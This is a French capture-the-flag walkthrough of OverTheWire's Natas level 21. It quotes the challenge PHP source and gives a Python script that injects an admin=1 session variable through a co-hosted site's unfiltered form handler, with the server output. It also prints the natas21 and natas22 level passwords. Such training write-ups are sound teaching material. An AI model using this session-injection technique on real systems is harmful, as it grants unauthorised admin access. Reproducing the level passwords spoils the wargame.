Natas 21
Level Goal
Username: natas21
Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
URL: http://natas21.natas.labs.overthewire.org
En se connectant à la page du challenge 21 (curl http://natas21.natas.labs.overthewire.org -u natas21:IFekPyrQXftziDEsUr3x21sYuahypdgJ
) on accède à une page avec le message suivant :
Note: this website is colocated with http://natas21-experimenter.natas.labs.overthewire.org
You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.
Le code source de la page ne nous apprend pas grand chose :
<?
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas22\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
}
}
/* }}} */
session_start();
print_credentials();
?>
On peut également voir qu'un cookie de session est enregistré :
PHPSESSID "tg3nb3scvd845ff48je5qs4qc2"
De toute évidence il va falloir trouver une faille sur le site "colocataire" http://natas21-experimenter.natas.labs.overthewire.org, qui semble partager ses fichiers de session avec le site principal.
Ainsi, si l'on arrive à injecter une variable admin
avec comme valeur 1
sur ce second site on devrait pouvoir trouver le mot de passe sur le site principal.
Si on se rend sur ce second site, on accède à un formulaire permettant de spécifier 3 paramètres CSS qui qui affectent le rendu d'un bloc div
:
<div style='background-color: yellow; text-align: center; font-size: 100%;'>Hello world!</div>
<p>Change example values here:</p>
<form action="index.php" method="POST">
align: <input name='align' value='center' /><br>
fontsize: <input name='fontsize' value='100%' /><br>
bgcolor: <input name='bgcolor' value='yellow' /><br>
<input type="submit" name="submit" value="Update" />
</form
Le code source associé est le suivant :
<?
session_start();
// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
foreach($_REQUEST as $key => $val) {
$_SESSION[$key] = $val;
}
}
if(array_key_exists("debug", $_GET)) {
print "[DEBUG] Session contents:<br>";
print_r($_SESSION);
}
// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";
$form .= '<form action="index.php" method="POST">';
foreach($validkeys as $key => $defval) {
$val = $defval;
if(array_key_exists($key, $_SESSION)) {
$val = $_SESSION[$key];
} else {
$_SESSION[$key] = $val;
}
$form .= "$key: <input name='$key' value='$val' /><br>";
}
$form .= '<input type="submit" name="submit" value="Update" />';
$form .= '</form>';
$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style='$style'>Hello world!</div>";
?>
<p>Example:</p>
<?=$example?>
<p>Change example values here:</p>
<?=$form?>
On peut remarquer qu'il y a un processus validation des clefs envoyées qui s'assure que l'on n'envoi que des propriétés autorisées (align
, fontsize
, bgcolor
) au niveau de la boucle foreach
:
foreach($validkeys as $key => $defval) {
Cependant on peut également remarquer qu'en amont de cela il y a une fonction mettant à jour l'ensemble des valeurs du formulaire sans filtrer ni clef, ni valeur :
// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
foreach($_REQUEST as $key => $val) {
$_SESSION[$key] = $val;
}
}
Essayons simplement d'envoyer un formulaire avec un paramètre submit
et un paramètre admin
avec la valeur 1
. On ajoute également le paramètre debug
à l'url pour afficher les détails de la session :
import requests
response = requests.post(
"http://natas21-experimenter.natas.labs.overthewire.org?debug",
params={"submit": "submit", "admin": 1},
auth=requests.auth.HTTPBasicAuth("natas21", "IFekPyrQXftziDEsUr3x21sYuahypdgJ"),
)
print(response.text)
Dans notre réponse on peut noter :
[DEBUG] Session contents:<br>Array
(
[debug] =>
[submit] => submit
[admin] => 1
)
Ajoutons une requête à la suite de ce code pour afficher la page principale de l'épreuve :
import requests
response = requests.post(
"http://natas21-experimenter.natas.labs.overthewire.org?debug",
params={"submit": "submit", "admin": 1},
auth=requests.auth.HTTPBasicAuth("natas21", "IFekPyrQXftziDEsUr3x21sYuahypdgJ"),
)
session_cookie = response.cookies.get_dict()
response = requests.get(
"http://natas21.natas.labs.overthewire.org",
cookies=session_cookie,
auth=requests.auth.HTTPBasicAuth("natas21", "IFekPyrQXftziDEsUr3x21sYuahypdgJ"),
)
print(response.text)
En exécutant ce script on obtient :
You are an admin. The credentials for the next level are:
Username: natas22
Password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ